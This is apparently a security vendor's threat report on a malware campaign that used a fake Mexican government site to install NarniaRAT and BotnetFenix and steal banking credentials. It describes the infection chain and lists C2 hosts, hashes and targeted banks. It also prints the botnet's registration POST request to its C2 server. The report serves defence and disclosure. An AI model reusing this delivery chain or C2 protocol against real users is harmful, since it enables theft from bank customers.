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THE THREATA recently disclosed vulnerability impacting Zimbra mail servers is being actively exploited by attacker(s). On September 27th, Zimbra publicly disclosed CVE-2024-45519, a…
Sep 17, 2024THE THREAT Technical details and Proof-of-Concept (PoC) exploit code for the critical Ivanti Endpoint Manager (EPM) vulnerability CVE-2024-29847 are now publicly available.…
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In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.
Here’s the latest from our TRU Team…
In January 2024, the Threat Response Unit (TRU) identified a campaign targeting Latin American users. Victims are deceived into downloading a malicious zip archive under the guise of a legitimate tool from a website masquerading as the Government of Mexico.
Upon successful execution, the payload installs a Remote Access Trojan (RAT) with infostealing capabilities and enlists the compromised machine into a botnet.
This campaign is particularly noteworthy for its stealer/banker functionality, which targets a specific list of Latin American financial institutions. The RAT deployed by the threat actors behind Fenix Botnet exhibits capabilities designed to intercept and steal banking credentials, directly impacting the financial security of individuals and corporations alike.
The initial infection started when the user visited the malicious page (Figure 1).
After entering the prompted data (Figure 2), the user gets redirected to the pages shown in Figures 3-4.
After clicking on the instructed button in Figure 4, the user is served with a ZIP archive named “AvisodePrivacidadVirtual.zip” (MD5: 95260c9385dbb1f52004e7ab5aceda96); the hash doesn’t change each time of the new download.
The contents of the ZIP archive are shown in Figure 5. The archive contains the text file with instructions on launching the Internet Shortcut file. Internet Shortcuts can be crafted to retrieve malicious files from the Internet network share.
Figure 5 shows that the .url shortcut file contains an embedded URL (172.86.75[.]130\vWa\rfc.jse). The shortcut eventually retrieves the “rfc.jse” file (MD5: a7fadf0050d4d0b2cefd808e16dfde69).
The deobfuscated JSE is shown in Figure 6. It retrieves another payload named “7i1.xls”. The contents of the payload are shown in Figure 7. The payload retrieves the .NET loader named “7i1.xls” (MD5: 7f739c189c96d42bff65e8b7b7c42237) that injects the shellcode into AuthHost.exe via QueueUserAPC process injection as shown in Figure 7.
Upon testing, we noticed that shellcode retrieves either “narnia.xls” file from the server, which we dubbed as NarniaRAT based on the filename (app.quantumservice[.]lat/2XpbhUdaA4/narnia.xls) (MD5: 43f6c3f92a025d12de4c4f14afa5d098) or BotnetFenix payload (MD5: cfb7d71a73585052041f8c9a057c83c6) from app.quantumservice.lat/2XpbhUdaA4/vc67j2[.]xls, as shown in Figure 8.
NarniaRAT contains the exfiltration, screen capture, keylogging, and banking stealing functionalities.
The RAT exfiltrates files from Desktop, Documents, Windows, and %USERPROFILE% folders. The data exfiltration functionality is shown below.
The function in Figure 10 retrieves the computer information, including private and public IP addresses, country, antivirus products, system uptime information, etc.
NarniaRAT monitors the infected machine for browser processes such as Chrome, Firefox, Edge, Internet Explorer, Opera, Brave and Safari (Figure 11).
It’s worth mentioning that NarniaRAT uses the “Get WatchList” command to fetch the list of banking names from the C2 server (45.77.71[.]28), for example. The specificity of this operation is noteworthy, as the fetched list comprises banking entities predominantly operating within Latin American countries.
The list of fetched banking information:
Banamex|BancaNet Empresarial | Citibanamex.com|BancaNet | Citibanamex.com|HSBC Personas - Productos Y Servicios - HSBC México|HSBCnet | HSBC México|Iniciar Sesión | HSBCnet|Empresas y Gobierno | Empresas | BBVA México|Bienvenidos a la Banca en Línea | BBVA Mexico|Banorte | El Banco Fuerte de México|Empresas y Corporativos|Somos el banco de creadores | Banregio|Banca electrónica empresarial | Empresas | Banregio|BBVA Net Cash|Santander México | Se parte de la banca electrónica| Banca de Empresas | Productos financieros empresariales Santander|SuperNet Santander | la banca electrónica por internet|BanBajío | Tu Banco de Confianza |Bajionet para Empresas, La Banca Electrónica de BanBajío|Bajionet|Banca | Servicios Financieros | Grupo Financiero Mifel|Banca MIFEL|Scotiabank México | Tú decides, Nosotros te Asesoramos|Inicia sesión en ScotiaWeb - ScotiaWeb|ScotiaWeb Empresas | Scotia|Ve por más- Banco|Bansí - Un Banco Entre Personas|El banco que quiero | BanCoppel.com|Banca Empresarial BanCoppel | BanCoppel.com|Banco Azteca, tu banca en línea| Sueas, Decides, Logras|Banca en línea Empresarial | Banco Azteca|Grupo Financiero Inbursa|Inbursa | Banca en Línea| nea Empresarial
BotnetFenix is written in Rust. The botnet has the ability to download and execute remote tasks, including reflecting code loading, running PowerShell commands, and downloading a stealer (steal.crypt), as shown in Figure 12.
At the moment of writing this blog, steal.crypt (MD5: 594804aa21887ee9d7b1b888f482d60c) seems to contain only a reflective DLL loader component.
BotnetFenix also has the capability to decrypt the retrieved payloads from C2 servers using a simple XOR algorithm and the hardcoded key. The C2 servers are hardcoded into the botnet payloads.
Below is an example of the POST request to register the newly infected machine.
POST /2XpbhUdaA4/post.php HTTP/1.1 Accept: text/html, text/strings content-type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: app.quantumservice[.]lat Content-Length: 59 Cache-Control: no-cache action=add_register&uuid={uuid_value}&os={os_value} &is_admin{1 or 0 for True or False}=&av={antivirus}&system_type{system_type_value}= &desktopname={desktop_name}
Our team of 24/7 SOC Cyber Analysts isolated the system and performed additional investigation before alerting the customer.
You can access the detection rules here and here.
You can access the indicators of compromise here.
The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.